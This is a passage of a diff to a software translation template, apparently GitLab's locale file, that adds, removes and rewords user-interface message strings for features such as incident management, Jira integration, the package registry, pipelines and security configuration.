+msgid "InProductMarketing|This is email %{current_series} of %{total_series} in the %{track} series."
msgstr ""
-msgid "InProductMarketing|This is email %{series} of 3 in the %{track} series. To disable notification emails sent by your local GitLab instance, either contact your administrator or %{unsubscribe_link}."
+msgid "InProductMarketing|This is email %{current_series} of %{total_series} in the %{track} series. To disable notification emails sent by your local GitLab instance, either contact your administrator or %{unsubscribe_link}."
msgstr ""
msgid "InProductMarketing|Ticketmaster decreased their CI build time by 15X"
@@ -17275,9 +17556,18 @@ msgstr ""
msgid "InProductMarketing|Use GitLab CI/CD"
msgstr ""
+msgid "InProductMarketing|Very difficult"
+msgstr ""
+
+msgid "InProductMarketing|Very easy"
+msgstr ""
+
msgid "InProductMarketing|We know a thing or two about efficiency and we don't want to keep that to ourselves. Sign up for a free trial of GitLab Ultimate and your teams will be on it from day one."
msgstr ""
+msgid "InProductMarketing|We want your GitLab experience to be great"
+msgstr ""
+
msgid "InProductMarketing|What does our value stream timeline look like from product to development to review and production?"
msgstr ""
@@ -17353,6 +17643,9 @@ msgstr ""
msgid "IncidentManagement|%{minutes} minutes remaining"
msgstr ""
+msgid "IncidentManagement|Achieved SLA"
+msgstr ""
+
msgid "IncidentManagement|All"
msgstr ""
@@ -17392,6 +17685,9 @@ msgstr ""
msgid "IncidentManagement|Medium - S3"
msgstr ""
+msgid "IncidentManagement|Missed SLA"
+msgstr ""
+
msgid "IncidentManagement|No incidents to display."
msgstr ""
@@ -17431,6 +17727,9 @@ msgstr ""
msgid "IncidentSettings|Alert integration"
msgstr ""
+msgid "IncidentSettings|Fine-tune incident settings and set up integrations with external tools to help better manage incidents."
+msgstr ""
+
msgid "IncidentSettings|Grafana integration"
msgstr ""
@@ -17446,9 +17745,6 @@ msgstr ""
msgid "IncidentSettings|PagerDuty integration"
msgstr ""
-msgid "IncidentSettings|Set up integrations with external tools to help better manage incidents."
-msgstr ""
-
msgid "IncidentSettings|Time limit"
msgstr ""
@@ -17578,7 +17874,7 @@ msgstr ""
msgid "Inform users without uploaded SSH keys that they can't push over SSH until one is added"
msgstr ""
-msgid "Information about additional Pages templates and how to install them can be found in our %{pages_getting_started_guide}."
+msgid "Infrastructure"
msgstr ""
msgid "Infrastructure Registry"
@@ -17777,10 +18073,10 @@ msgstr ""
msgid "Integrations|Failed to unlink namespace. Please try again."
msgstr ""
-msgid "Integrations|Includes Standard plus entire commit message, commit hash, and issue IDs"
+msgid "Integrations|Includes Standard, plus the entire commit message, commit hash, and issue IDs"
msgstr ""
-msgid "Integrations|Includes commit title and branch"
+msgid "Integrations|Includes commit title and branch."
msgstr ""
msgid "Integrations|Issues created in Jira are shown here once you have created the issues in project setup in Jira."
@@ -17858,7 +18154,7 @@ msgstr ""
msgid "Integrations|Use default settings"
msgstr ""
-msgid "Integrations|When a Jira issue is mentioned in a commit or merge request a remote link and comment (if enabled) is created."
+msgid "Integrations|When you mention a Jira issue in a commit or merge request, GitLab creates a remote link and comment (if enabled)."
msgstr ""
msgid "Integrations|You can now close this window and return to the GitLab for Jira application."
@@ -18044,7 +18340,7 @@ msgstr ""
msgid "InviteEmail|As a guest, you can view projects, leave comments, and create issues."
msgstr ""
-msgid "InviteEmail|As a maintainer, you have full access to projects. You can push commits to master and deploy to production."
+msgid "InviteEmail|As a maintainer, you have full access to projects. You can push commits to the default branch and deploy to production."
msgstr ""
msgid "InviteEmail|As a reporter, you can view projects and reports, and leave comments on issues."
@@ -18278,6 +18574,9 @@ msgstr ""
msgid "Issue Boards"
msgstr ""
+msgid "Issue Type"
+msgstr ""
+
msgid "Issue already promoted to epic."
msgstr ""
@@ -18347,12 +18646,6 @@ msgstr ""
msgid "IssueAnalytics|Weight"
msgstr ""
-msgid "IssueBoards|An error occurred while assigning the selected epic to the issue."
-msgstr ""
-
-msgid "IssueBoards|An error occurred while fetching the assigned epic of the selected issue."
-msgstr ""
-
msgid "IssueBoards|An error occurred while setting notifications status. Please try again."
msgstr ""
@@ -18380,6 +18673,27 @@ msgstr ""
msgid "IssueTracker|Custom issue tracker"
msgstr ""
+msgid "IssueTracker|Issue URL"
+msgstr ""
+
+msgid "IssueTracker|New issue URL"
+msgstr ""
+
+msgid "IssueTracker|The URL to create an issue in the external issue tracker."
+msgstr ""
+
+msgid "IssueTracker|The URL to the project in YouTrack."
+msgstr ""
+
+msgid "IssueTracker|The URL to the project in the external issue tracker."
+msgstr ""
+
+msgid "IssueTracker|The URL to view an issue in the YouTrack project. Must contain %{colon_id}."
+msgstr ""
+
+msgid "IssueTracker|The URL to view an issue in the external issue tracker. Must contain %{colon_id}."
+msgstr ""
+
msgid "IssueTracker|Use Bugzilla as this project's issue tracker."
msgstr ""
@@ -18425,6 +18739,9 @@ msgstr ""
msgid "Issues closed"
msgstr ""
+msgid "Issues manual ordering is temporarily disabled for technical reasons."
+msgstr ""
+
msgid "Issues must match this scope to appear in this list."
msgstr ""
@@ -18527,6 +18844,9 @@ msgstr ""
msgid "Iterations|Duration"
msgstr ""
+msgid "Iterations|Error loading iteration cadences."
+msgstr ""
+
msgid "Iterations|Future iterations"
msgstr ""
@@ -18536,6 +18856,12 @@ msgstr ""
msgid "Iterations|New iteration cadence"
msgstr ""
+msgid "Iterations|No iteration cadences to show."
+msgstr ""
+
+msgid "Iterations|No iterations in cadence."
+msgstr ""
+
msgid "Iterations|Number of future iterations you would like to have scheduled"
msgstr ""
@@ -18569,13 +18895,13 @@ msgstr ""
msgid "I’m familiar with the basics of DevOps."
msgstr ""
-msgid "I’m not familiar with the basics of DevOps."
+msgid "I’m joining my team who’s already on GitLab"
msgstr ""
-msgid "Jaeger URL"
+msgid "I’m not familiar with the basics of DevOps."
msgstr ""
-msgid "Jaeger tracing"
+msgid "Jaeger URL"
msgstr ""
msgid "Jan"
@@ -18599,7 +18925,7 @@ msgstr ""
msgid "Jira integration not configured."
msgstr ""
-msgid "Jira project key is not configured"
+msgid "Jira project key is not configured."
msgstr ""
msgid "Jira project: %{importProject}"
@@ -18674,6 +19000,9 @@ msgstr ""
msgid "JiraService|GitLab for Jira Configuration"
msgstr ""
+msgid "JiraService|IDs must be a list of numbers that can be split with , or ;"
+msgstr ""
+
msgid "JiraService|If different from Web URL."
msgstr ""
@@ -18689,10 +19018,10 @@ msgstr ""
msgid "JiraService|Jira Issues"
msgstr ""
-msgid "JiraService|Jira comments will be created when an issue gets referenced in a commit."
+msgid "JiraService|Jira comments are created when an issue is referenced in a commit."
msgstr ""
-msgid "JiraService|Jira comments will be created when an issue gets referenced in a merge request."
+msgid "JiraService|Jira comments are created when an issue is referenced in a merge request."
msgstr ""
msgid "JiraService|Jira issue type"
@@ -18779,7 +19108,7 @@ msgstr ""
msgid "JiraService|Work on Jira issues without leaving GitLab. Adds a Jira menu to access your list of Jira issues and view any issue as read-only."
msgstr ""
-msgid "JiraService|transition ids can have only numbers which can be split with , or ;"
+msgid "JiraService|You need to configure Jira before enabling this integration. For more details, read the %{jira_doc_link_start}Jira integration documentation%{link_end}."
msgstr ""
msgid "Job"
@@ -18827,6 +19156,18 @@ msgstr ""
msgid "Job was retried"
msgstr ""
+msgid "JobName|build-job"
+msgstr ""
+
+msgid "JobName|deploy-app"
+msgstr ""
+
+msgid "JobName|lint-test"
+msgstr ""
+
+msgid "JobName|unit-test"
+msgstr ""
+
msgid "Jobs"
msgstr ""
@@ -18842,6 +19183,9 @@ msgstr ""
msgid "Jobs|Create CI/CD configuration file"
msgstr ""
+msgid "Jobs|Job is stuck. Check runners."
+msgstr ""
+
msgid "Jobs|Jobs are the building blocks of a GitLab CI/CD pipeline. Each job has a specific task, like testing code. To set up jobs in a CI/CD pipeline, add a CI/CD configuration file to your project."
msgstr ""
@@ -18935,6 +19279,9 @@ msgstr ""
msgid "Join Zoom meeting"
msgstr ""
+msgid "Join your team"
+msgstr ""
+
msgid "Joined %{time_ago}"
msgstr ""
@@ -18968,6 +19315,9 @@ msgstr ""
msgid "KEY"
msgstr ""
+msgid "Keep"
+msgstr ""
+
msgid "Keep artifacts from most recent successful jobs"
msgstr ""
@@ -18995,9 +19345,30 @@ msgstr ""
msgid "Keyboard shortcuts"
msgstr ""
+msgid "KeyboardKey|Alt"
+msgstr ""
+
+msgid "KeyboardKey|Ctrl"
+msgstr ""
+
msgid "KeyboardKey|Ctrl+"
msgstr ""
+msgid "KeyboardKey|Enter"
+msgstr ""
+
+msgid "KeyboardKey|Esc"
+msgstr ""
+
+msgid "KeyboardKey|Shift"
+msgstr ""
+
+msgid "KeyboardShortcuts|No shortcuts matched your search"
+msgstr ""
+
+msgid "KeyboardShortcuts|Search keyboard shortcuts"
+msgstr ""
+
msgid "Keys"
msgstr ""
@@ -19034,6 +19405,9 @@ msgstr ""
msgid "Kubernetes cluster was successfully updated."
msgstr ""
+msgid "Kubernetes clusters"
+msgstr ""
+
msgid "Kubernetes deployment not found"
msgstr ""
@@ -19278,18 +19652,12 @@ msgstr ""
msgid "Launch a ready-to-code development environment for your project."
msgstr ""
-msgid "Lead"
-msgstr ""
-
msgid "Lead Time"
msgstr ""
msgid "Lead time"
msgstr ""
-msgid "Learn CI/CD syntax"
-msgstr ""
-
msgid "Learn GitLab"
msgstr ""
@@ -19461,6 +19829,12 @@ msgstr ""
msgid "LearnGitLab|Use your new GitLab workflow to deploy your application, monitor its health, and keep it secure:"
msgstr ""
+msgid "LearnGitlab|Creating your onboarding experience..."
+msgstr ""
+
+msgid "LearnGitlab|Ok, let's go"
+msgstr ""
+
msgid "LearnGitlab|Trial only"
msgstr ""
@@ -19497,6 +19871,9 @@ msgstr ""
msgid "Let's Encrypt is a free, automated, and open certificate authority (CA) that gives digital certificates in order to enable HTTPS (SSL/TLS) for websites. Learn more about Let's Encrypt configuration by following the %{docs_link_start}documentation on GitLab Pages%{docs_link_end}."
msgstr ""
+msgid "Let's talk!"
+msgstr ""
+
msgid "License"
msgstr ""
@@ -19999,7 +20376,7 @@ msgstr ""
msgid "Manage"
msgstr ""
-msgid "Manage Web IDE features"
+msgid "Manage Web IDE features."
msgstr ""
msgid "Manage access"
@@ -20257,6 +20634,9 @@ msgstr ""
msgid "Maximum PyPI package file size in bytes"
msgstr ""
+msgid "Maximum Terraform Module package file size in bytes"
+msgstr ""
+
msgid "Maximum Users"
msgstr ""
@@ -20344,6 +20724,9 @@ msgstr ""
msgid "Maximum push size (MB)"
msgstr ""
+msgid "Maximum running slices"
+msgstr ""
+
msgid "Maximum size limit for a single commit."
msgstr ""
@@ -20539,6 +20922,9 @@ msgstr ""
msgid "Memory Usage"
msgstr ""
+msgid "Menu"
+msgstr ""
+
msgid "Merge"
msgstr ""
@@ -20590,9 +20976,6 @@ msgstr ""
msgid "Merge request"
msgstr ""
-msgid "Merge request %{iid} authored by %{authorName}"
-msgstr ""
-
msgid "Merge request %{mr_link} was reviewed by %{mr_author}"
msgstr ""
@@ -20881,10 +21264,10 @@ msgstr ""
msgid "MetricsSettings|External dashboard URL"
msgstr ""
-msgid "MetricsSettings|Manage Metrics Dashboard settings."
+msgid "MetricsSettings|Manage metrics dashboard settings."
msgstr ""
-msgid "MetricsSettings|Metrics dashboard"
+msgid "MetricsSettings|Metrics"
msgstr ""
msgid "MetricsSettings|UTC (Coordinated Universal Time)"
@@ -20987,6 +21370,9 @@ msgstr ""
msgid "Metrics|For grouping similar metrics"
msgstr ""
+msgid "Metrics|GitLab-managed Prometheus is deprecated and %{linkStart}scheduled for removal%{linkEnd}. Following this removal, your existing alerts will continue to function as part of the new cluster integration. However, you will no longer be able to add new alerts or edit existing alerts from the metrics dashboard."
+msgstr ""
+
msgid "Metrics|Invalid time range, please verify."
msgstr ""
@@ -21161,10 +21547,10 @@ msgstr ""
msgid "Middleman project with Static Site Editor support"
msgstr ""
-msgid "Migrate your data from an external source like GitHub, Bitbucket, or another instance of GitLab."
+msgid "Migrated %{success_count}/%{total_count} files."
msgstr ""
-msgid "Migrated %{success_count}/%{total_count} files."
+msgid "Migration"
msgstr ""
msgid "Migration has been scheduled to be retried"
@@ -21423,6 +21809,12 @@ msgstr ""
msgid "Monday"
msgstr ""
+msgid "Monitor"
+msgstr ""
+
+msgid "Monitor Settings"
+msgstr ""
+
msgid "Monitor your errors by integrating with Sentry."
msgstr ""
@@ -21555,6 +21947,9 @@ msgstr ""
msgid "Multiple uploaders found: %{uploader_types}"
msgstr ""
+msgid "Must have a unique policy, status, and elapsed time"
+msgstr ""
+
msgid "Must match with the %{codeStart}external_url%{codeEnd} in %{codeStart}/etc/gitlab/gitlab.rb%{codeEnd}."
msgstr ""
@@ -21582,6 +21977,9 @@ msgstr ""
msgid "Name has already been taken"
msgstr ""
+msgid "Name is already taken."
+msgstr ""
+
msgid "Name new label"
msgstr ""
@@ -21751,9 +22149,6 @@ msgstr ""
msgid "NetworkPolicies|Edit policy"
msgstr ""
-msgid "NetworkPolicies|Editor mode"
-msgstr ""
-
msgid "NetworkPolicies|Enforcement status"
msgstr ""
@@ -21853,9 +22248,6 @@ msgstr ""
msgid "NetworkPolicies|Unable to parse policy"
msgstr ""
-msgid "NetworkPolicies|YAML editor"
-msgstr ""
-
msgid "NetworkPolicies|all DNS names"
msgstr ""
@@ -22205,7 +22597,7 @@ msgstr ""
msgid "No compliance frameworks are in use."
msgstr ""
-msgid "No compliance frameworks are in use. Create one using the GraphQL API."
+msgid "No compliance frameworks are in use. Create one from the %{link} section in Group Settings."
msgstr ""
msgid "No confirmation email received? Please check your spam folder or"
@@ -22232,6 +22624,9 @@ msgstr ""
msgid "No data to display"
msgstr ""
+msgid "No deployments detected. Use environments to control your software's continuous deployment. %{linkStart}Learn more about deployment jobs.%{linkEnd}"
+msgstr ""
+
msgid "No deployments found"
msgstr ""
@@ -22445,6 +22840,9 @@ msgstr ""
msgid "None of the group milestones have the same project as the release"
msgstr ""
+msgid "Normal text"
+msgstr ""
+
msgid "Not Implemented"
msgstr ""
@@ -22779,6 +23177,9 @@ msgstr ""
msgid "Ok, let's go"
msgstr ""
+msgid "Okay"
+msgstr ""
+
msgid "Oldest first"
msgstr ""
@@ -23161,7 +23562,7 @@ msgstr ""
msgid "OpenAPI"
msgstr ""
-msgid "OpenAPI specification file path"
+msgid "OpenAPI Specification file path or URL"
msgstr ""
msgid "Opened"
@@ -23260,7 +23661,7 @@ msgstr ""
msgid "Otherwise, click the link below to complete the process:"
msgstr ""
-msgid "Our documentation includes an example DevOps Score report."
+msgid "Our team has been notified. Please try again."
msgstr ""
msgid "Out-of-compliance with this project's policies and should be removed"
@@ -23326,6 +23727,9 @@ msgstr ""
msgid "Package type must be Debian"
msgstr ""
+msgid "Package type must be Helm"
+msgstr ""
+
msgid "Package type must be Maven"
msgstr ""
@@ -23353,6 +23757,9 @@ msgstr ""
msgid "PackageRegistry|Add Gradle Groovy DSL repository command"
msgstr ""
+msgid "PackageRegistry|Add Gradle Kotlin DSL repository command"
+msgstr ""
+
msgid "PackageRegistry|Add NuGet Source"
msgstr ""
@@ -23395,6 +23802,9 @@ msgstr ""
msgid "PackageRegistry|Copy Gradle Groovy DSL install command"
msgstr ""
+msgid "PackageRegistry|Copy Gradle Kotlin DSL install command"
+msgstr ""
+
msgid "PackageRegistry|Copy Maven XML"
msgstr ""
@@ -23416,6 +23826,9 @@ msgstr ""
msgid "PackageRegistry|Copy add Gradle Groovy DSL repository command"
msgstr ""
+msgid "PackageRegistry|Copy add Gradle Kotlin DSL repository command"
+msgstr ""
+
msgid "PackageRegistry|Copy and paste this inside your %{codeStart}pom.xml%{codeEnd} %{codeStart}dependencies%{codeEnd} block."
msgstr ""
@@ -23467,9 +23880,18 @@ msgstr ""
msgid "PackageRegistry|GitLab Packages allows organizations to utilize GitLab as a private repository for a variety of common package formats. %{linkStart}More Information%{linkEnd}"
msgstr ""
+msgid "PackageRegistry|Gradle Groovy DSL"
+msgstr ""
+
msgid "PackageRegistry|Gradle Groovy DSL install command"
msgstr ""
+msgid "PackageRegistry|Gradle Kotlin DSL"
+msgstr ""
+
+msgid "PackageRegistry|Gradle Kotlin DSL install command"
+msgstr ""
+
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}.pypirc%{codeEnd} file."
msgstr ""
@@ -23479,6 +23901,9 @@ msgstr ""
msgid "PackageRegistry|Install package version"
msgstr ""
+msgid "PackageRegistry|Invalid Package: failed metadata extraction"
+msgstr ""
+
msgid "PackageRegistry|Learn how to %{noPackagesLinkStart}publish and share your packages%{noPackagesLinkEnd} with GitLab."
msgstr ""
@@ -23494,6 +23919,9 @@ msgstr ""
msgid "PackageRegistry|Maven Command"
msgstr ""
+msgid "PackageRegistry|Maven XML"
+msgstr ""
+
msgid "PackageRegistry|NuGet"
msgstr ""
@@ -23539,6 +23967,9 @@ msgstr ""
msgid "PackageRegistry|RubyGems"
msgstr ""
+msgid "PackageRegistry|Settings for Generic packages"
+msgstr ""
+
msgid "PackageRegistry|Settings for Maven packages"
msgstr ""
@@ -23551,12 +23982,6 @@ msgstr ""
msgid "PackageRegistry|Show Conan commands"
msgstr ""
-msgid "PackageRegistry|Show Gradle Groovy DSL commands"
-msgstr ""
-
-msgid "PackageRegistry|Show Maven commands"
-msgstr ""
-
msgid "PackageRegistry|Show NPM commands"
msgstr ""
@@ -23653,7 +24078,7 @@ msgstr ""
msgid "Pages Domain"
msgstr ""
-msgid "Pages getting started guide"
+msgid "Pagination|First"
msgstr ""
msgid "Pagination|Go to first page"
@@ -23668,6 +24093,9 @@ msgstr ""
msgid "Pagination|Go to previous page"
msgstr ""
+msgid "Pagination|Last"
+msgstr ""
+
msgid "Pagination|Last »"
msgstr ""
@@ -23719,6 +24147,9 @@ msgstr ""
msgid "Password"
msgstr ""
+msgid "Password (for password-protected Elasticsearch servers)"
+msgstr ""
+
msgid "Password (optional)"
msgstr ""
@@ -23854,6 +24285,9 @@ msgstr ""
msgid "PerformanceBar|Gitaly calls"
msgstr ""
+msgid "PerformanceBar|Memory"
+msgstr ""
+
msgid "PerformanceBar|Redis calls"
msgstr ""
@@ -23932,6 +24366,9 @@ msgstr ""
msgid "Pipeline Schedules"
msgstr ""
+msgid "Pipeline durations for the last 30 commits"
+msgstr ""
+
msgid "Pipeline minutes quota"
msgstr ""
@@ -23986,6 +24423,54 @@ msgstr ""
msgid "PipelineCharts|Total:"
msgstr ""
+msgid "PipelineEditorTutorial|A typical GitLab pipeline consists of three stages: build, test and deploy. Each stage can have one or more jobs."
+msgstr ""
+
+msgid "PipelineEditorTutorial|Browse %{linkStart}CI/CD examples and templates%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|Get started with GitLab CI/CD"
+msgstr ""
+
+msgid "PipelineEditorTutorial|GitLab CI/CD can automatically build, test, and deploy your application."
+msgstr ""
+
+msgid "PipelineEditorTutorial|If you’re using a self-managed GitLab instance, %{linkStart}make sure your instance has runners available.%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|In the example below, %{codeStart}build%{codeEnd} and %{codeStart}deploy%{codeEnd} each contain one job, and %{codeStart}test%{codeEnd} contains two jobs. Your scripts run in jobs like these."
+msgstr ""
+
+msgid "PipelineEditorTutorial|Learn more about %{linkStart}GitLab CI/CD concepts%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|Make your pipeline more efficient with the %{linkStart}Needs keyword%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|Resources to help with your CI/CD configuration:"
+msgstr ""
+
+msgid "PipelineEditorTutorial|The pipeline stages and jobs are defined in a %{codeStart}.gitlab-ci.yml%{codeEnd} file. You can edit, visualize and validate the syntax in this file by using the Pipeline Editor."
+msgstr ""
+
+msgid "PipelineEditorTutorial|Use the Visualize and Lint tabs in the Pipeline Editor to visualize your pipeline and check for any errors or warnings before committing your changes."
+msgstr ""
+
+msgid "PipelineEditorTutorial|View %{linkStart}.gitlab-ci.yml syntax reference%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|You can use %{linkStart}CI/CD examples and templates%{linkEnd} to get your first %{codeStart}.gitlab-ci.yml%{codeEnd} configuration file started. Your first pipeline runs when you commit the changes."
+msgstr ""
+
+msgid "PipelineEditorTutorial|âš™ï¸ Pipeline configuration reference"
+msgstr ""
+
+msgid "PipelineEditorTutorial|💡 Tip: Visualize and validate your pipeline"
+msgstr ""
+
+msgid "PipelineEditorTutorial|🚀 Run your first pipeline"
+msgstr ""
+
msgid "PipelineEditor|The CI/CD configuration is continuously validated. Errors and warnings are displayed when the CI/CD configuration file is not empty."
msgstr ""
@@ -24052,6 +24537,9 @@ msgstr ""
msgid "Pipelines|API"
msgstr ""
+msgid "Pipelines|Add a code quality job"
+msgstr ""
+
msgid "Pipelines|Are you sure you want to run this pipeline?"
msgstr ""
@@ -24109,6 +24597,9 @@ msgstr ""
msgid "Pipelines|If you are unsure, please ask a project maintainer to review it for you."
msgstr ""
+msgid "Pipelines|Improve code quality with GitLab CI/CD"
+msgstr ""
+
msgid "Pipelines|It is recommended the code is reviewed thoroughly before running this pipeline with the parent project's CI resource."
msgstr ""
@@ -24130,6 +24621,9 @@ msgstr ""
msgid "Pipelines|More Information"
msgstr ""
+msgid "Pipelines|No artifacts available"
+msgstr ""
+
msgid "Pipelines|No triggers have been created yet. Add one using the form above."
msgstr ""
@@ -24184,6 +24678,9 @@ msgstr ""
msgid "Pipelines|This project is not currently set up to run pipelines."
msgstr ""
+msgid "Pipelines|To keep your codebase simple, readable, and accessible to contributors, use GitLab CI/CD to analyze your code quality with every push to your project."
+msgstr ""
+
msgid "Pipelines|Token"
msgstr ""
@@ -24214,9 +24711,6 @@ msgstr ""
msgid "Pipelines|Visualize"
msgstr ""
-msgid "Pipelines|Write pipeline configuration"
-msgstr ""
-
msgid "Pipelines|invalid"
msgstr ""
@@ -24514,9 +25008,15 @@ msgstr ""
msgid "Please provide a name"
msgstr ""
+msgid "Please provide a name."
+msgstr ""
+
msgid "Please provide a valid URL"
msgstr ""
+msgid "Please provide a valid URL."
+msgstr ""
+
msgid "Please provide a valid YouTube URL or ID"
msgstr ""
@@ -24553,6 +25053,9 @@ msgstr ""
msgid "Please select a valid target branch"
msgstr ""
+msgid "Please select a valid target branch."
+msgstr ""
+
msgid "Please select and add a member"
msgstr ""
@@ -24562,6 +25065,9 @@ msgstr ""
msgid "Please select what should be included in each exported requirement."
msgstr ""
+msgid "Please select..."
+msgstr ""
+
msgid "Please set a new password before proceeding."
msgstr ""
@@ -24595,9 +25101,6 @@ msgstr ""
msgid "Please wait while we import the repository for you. Refresh at will."
msgstr ""
-msgid "Plugins directory is deprecated and will be removed in 14.0. Please move this file into /file_hooks directory."
-msgstr ""
-
msgid "Pod does not exist"
msgstr ""
@@ -24625,6 +25128,9 @@ msgstr ""
msgid "Postman collection"
msgstr ""
+msgid "Postman collection file path or URL"
+msgstr ""
+
msgid "Pre-defined push rules."
msgstr ""
@@ -24781,6 +25287,9 @@ msgstr ""
msgid "Preview"
msgstr ""
+msgid "Preview JavaScript projects in the Web IDE with CodeSandbox Live Preview. %{link_start}Learn more.%{link_end} "
+msgstr ""
+
msgid "Preview Markdown"
msgstr ""
@@ -25135,7 +25644,7 @@ msgstr ""
msgid "Profiles|Profile was successfully updated"
msgstr ""
-msgid "Profiles|Public Avatar"
+msgid "Profiles|Public avatar"
msgstr ""
msgid "Profiles|Public email"
@@ -25393,6 +25902,9 @@ msgstr ""
msgid "Project info:"
msgstr ""
+msgid "Project information"
+msgstr ""
+
msgid "Project is required when cluster_type is :project"
msgstr ""
@@ -25546,9 +26058,6 @@ msgstr ""
msgid "ProjectService|Must have permission to trigger a manual build in TeamCity."
msgstr ""
-msgid "ProjectService|New issue URL"
-msgstr ""
-
msgid "ProjectService|Perform common operations on GitLab project: %{project_name}"
msgstr ""
@@ -26023,9 +26532,6 @@ msgstr ""
msgid "Projects shared with %{group_name}"
msgstr ""
-msgid "Projects that belong to a group are prefixed with the group namespace. Existing projects may be moved into a group."
-msgstr ""
-
msgid "Projects to index"
msgstr ""
@@ -26077,12 +26583,6 @@ msgstr ""
msgid "ProjectsNew|Allows you to immediately clone this project’s repository. Skip this if you plan to push up an existing repository."
msgstr ""
-msgid "ProjectsNew|Blank"
-msgstr ""
-
-msgid "ProjectsNew|Blank project"
-msgstr ""
-
msgid "ProjectsNew|Connect your external repository to GitLab CI/CD."
msgstr ""
@@ -26095,6 +26595,9 @@ msgstr ""
msgid "ProjectsNew|Create a blank project to house your files, plan your work, and collaborate on code, among other things."
msgstr ""
+msgid "ProjectsNew|Create a project pre-populated with the necessary files to get you started quickly."
+msgstr ""
+
msgid "ProjectsNew|Create blank project"
msgstr ""
@@ -26107,9 +26610,6 @@ msgstr ""
msgid "ProjectsNew|Create new project"
msgstr ""
-msgid "ProjectsNew|Creating project & repository."
-msgstr ""
-
msgid "ProjectsNew|Description format"
msgstr ""
@@ -26125,10 +26625,10 @@ msgstr ""
msgid "ProjectsNew|Initialize repository with a README"
msgstr ""
-msgid "ProjectsNew|No import options available"
+msgid "ProjectsNew|Migrate your data from an external source like GitHub, Bitbucket, or another instance of GitLab."
msgstr ""
-msgid "ProjectsNew|Please wait a moment, this page will automatically refresh when ready."
+msgid "ProjectsNew|No import options available"
msgstr ""
msgid "ProjectsNew|Project description %{tag_start}(optional)%{tag_end}"
@@ -26137,9 +26637,6 @@ msgstr ""
msgid "ProjectsNew|Run CI/CD for external repository"
msgstr ""
-msgid "ProjectsNew|Template"
-msgstr ""
-
msgid "ProjectsNew|Visibility Level"
msgstr ""
@@ -26887,9 +27384,6 @@ msgstr ""
msgid "Reconfigure"
msgstr ""
-msgid "Recover hidden stage"
-msgstr ""
-
msgid "Recovering projects"
msgstr ""
@@ -26899,6 +27393,9 @@ msgstr ""
msgid "Redirect to SAML provider to test configuration"
msgstr ""
+msgid "Redirecting"
+msgstr ""
+
msgid "Redis"
msgstr ""
@@ -26999,7 +27496,7 @@ msgstr ""
msgid "Regulate approvals by authors/committers. Affects all projects."
msgstr ""
-msgid "Reindexing Status: %{status}"
+msgid "Reindexing Status: %{status} (Slice multiplier: %{multiplier}, Maximum running slices: %{max_slices})"
msgstr ""
msgid "Rejected (closed)"
@@ -27234,9 +27731,6 @@ msgstr ""
msgid "Remove spent time"
msgstr ""
-msgid "Remove stage"
-msgstr ""
-
msgid "Remove time estimate"
msgstr ""
@@ -27252,6 +27746,9 @@ msgstr ""
msgid "Remove user from project"
msgstr ""
+msgid "Remove..."
+msgstr ""
+
msgid "Removed"
msgstr ""
@@ -28211,6 +28708,18 @@ msgstr ""
msgid "Runners|New runner, has not connected yet"
msgstr ""
+msgid "Runners|Not connected"
+msgstr ""
+
+msgid "Runners|Offline"
+msgstr ""
+
+msgid "Runners|Online"
+msgstr ""
+
+msgid "Runners|Paused"
+msgstr ""
+
msgid "Runners|Platform"
msgstr ""
@@ -28810,16 +29319,25 @@ msgstr ""
msgid "SecurityConfiguration|Available with %{linkStart}upgrade or free trial%{linkEnd}"
msgstr ""
+msgid "SecurityConfiguration|Available with Ultimate"
+msgstr ""
+
msgid "SecurityConfiguration|By default, all analyzers are applied in order to cover all languages across your project, and only run if the language is detected in the Merge Request."
msgstr ""
+msgid "SecurityConfiguration|Compliance"
+msgstr ""
+
+msgid "SecurityConfiguration|Configuration guide"
+msgstr ""
+
msgid "SecurityConfiguration|Configure"
msgstr ""
-msgid "SecurityConfiguration|Configure via Merge Request"
+msgid "SecurityConfiguration|Configure %{feature}"
msgstr ""
-msgid "SecurityConfiguration|Configure via merge request"
+msgid "SecurityConfiguration|Configure via Merge Request"
msgstr ""
msgid "SecurityConfiguration|Could not retrieve configuration data. Please refresh the page, or try again later."
@@ -28834,6 +29352,9 @@ msgstr ""
msgid "SecurityConfiguration|Enable"
msgstr ""
+msgid "SecurityConfiguration|Enable %{feature}"
+msgstr ""
+
msgid "SecurityConfiguration|Enabled"
msgstr ""
@@ -28846,6 +29367,9 @@ msgstr ""
msgid "SecurityConfiguration|Manage"
msgstr ""
+msgid "SecurityConfiguration|Manage scans"
+msgstr ""
+
msgid "SecurityConfiguration|More information"
msgstr ""
@@ -28858,10 +29382,10 @@ msgstr ""
msgid "SecurityConfiguration|SAST Configuration"
msgstr ""
-msgid "SecurityConfiguration|SAST merge request creation mutation failed"
+msgid "SecurityConfiguration|Security Control"
msgstr ""
-msgid "SecurityConfiguration|Security Control"
+msgid "SecurityConfiguration|Security testing"
msgstr ""
msgid "SecurityConfiguration|Status"
@@ -28870,6 +29394,9 @@ msgstr ""
msgid "SecurityConfiguration|Testing & Compliance"
msgstr ""
+msgid "SecurityConfiguration|The status of the tools only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}. Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
+msgstr ""
+
msgid "SecurityConfiguration|Using custom settings. You won't receive automatic updates on this variable. %{anchorStart}Restore to default%{anchorEnd}"
msgstr ""
@@ -28924,6 +29451,9 @@ msgstr ""
msgid "SecurityReports|Configure security testing"
msgstr ""
+msgid "SecurityReports|Coverage fuzzing"
+msgstr ""
+
msgid "SecurityReports|Create Jira issue"
msgstr ""
@@ -28942,9 +29472,6 @@ msgstr ""
msgid "SecurityReports|Download %{artifactName}"
msgstr ""
-msgid "SecurityReports|Download Report"
-msgstr ""
-
msgid "SecurityReports|Download results"
msgstr ""
@@ -28966,9 +29493,6 @@ msgstr ""
msgid "SecurityReports|Failed to get security report information. Please reload the page or try again later."
msgstr ""
-msgid "SecurityReports|Fuzzing artifacts"
-msgstr ""
-
msgid "SecurityReports|Hide dismissed"
msgstr ""
@@ -29137,6 +29661,9 @@ msgstr ""
msgid "SecurityReports|Your feedback is important to us! We will ask again in a week."
msgstr ""
+msgid "See example DevOps Score page in our documentation."
+msgstr ""
+
msgid "See metrics"
msgstr ""
